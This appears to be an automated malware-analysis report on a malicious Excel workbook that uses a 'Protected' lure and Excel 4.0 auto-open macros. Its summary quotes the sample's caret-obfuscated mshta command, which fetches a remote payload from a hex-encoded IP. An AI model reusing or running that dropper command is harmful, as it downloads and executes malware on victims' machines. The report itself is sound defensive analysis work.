Office (OLE) / .XLS malware analysis — malicious · 3a023ab9b2f23ade

MALICIOUS

Office (OLE) / .XLS

64.2 KB Created: 2022-01-17 17:40:35 Authoring application: Microsoft Excel

MD5: a1aed332d626f6aa30611d0fd91c6dfd SHA-1: c4e2d61a8d11f5e679a48338a3ce3a7d6479ad79 SHA-256: 3a023ab9b2f23ade7ff21c7fb078a69417b7608675f4aa9d7a1f0852e98322a3

100 Risk Score

Malware Insights

MITRE ATT&CK

T1204.002 User Execution: Malicious File T1059.005 Command and Scripting Interpreter: Visual Basic for Applications T1105 Ingress Tool Transfer T1204.002 User Execution: Malicious File

The sample uses a 'Protected' document lure to trick the user into enabling macros. The embedded Excel 4.0 (XLM) macros execute a shell command to download a payload from 'http://0xc12a24f5/c.html' and 'http://0xc12a24f5/cc.html' via 'cmd /c m^sh^t^a h^tt^p^:/^/0xc12a24f5/c.html' (where the carets are used as escape characters for the lệnh command).

Heuristics 3

Excel 4.0 Auto_Open defined name critical OLE_XLM_AUTOOPEN_DEFINEDNAME

oletools recovered an Auto_Open / Auto_Close entry from an Excel 4.0 macro sheet. The raw BIFF name can be tokenized or partially opaque to byte-string checks, but the recovered macro listing confirms the workbook has an XLM auto-execution entry.
Excel 4.0 (XLM) macro sheet present medium OLE_XLM_AUTOOPEN

Workbook contains an Excel 4.0 macro sheet sub-stream — XLM is rarely seen in modern legitimate workbooks and was a major Office malware vector during 2020-2022.
Macro/content-enable lure medium SE_ENABLE_LURE

Document instructs the user to enable macros or editing — a common technique used by malware droppers to bypass Office macro security settings

Extracted artifacts 1

Files carved from inside the sample during analysis.

Filename	Kind	Source	Size
`xlm_macros.txt` `0807f652a36752efcd354ce3c536f2fe7ed4cd53a3ff1787c33acb378dda90a0`	xlm-macro	oletools.olevba.extract_all_macros (XLM macro listing)	1073 bytes

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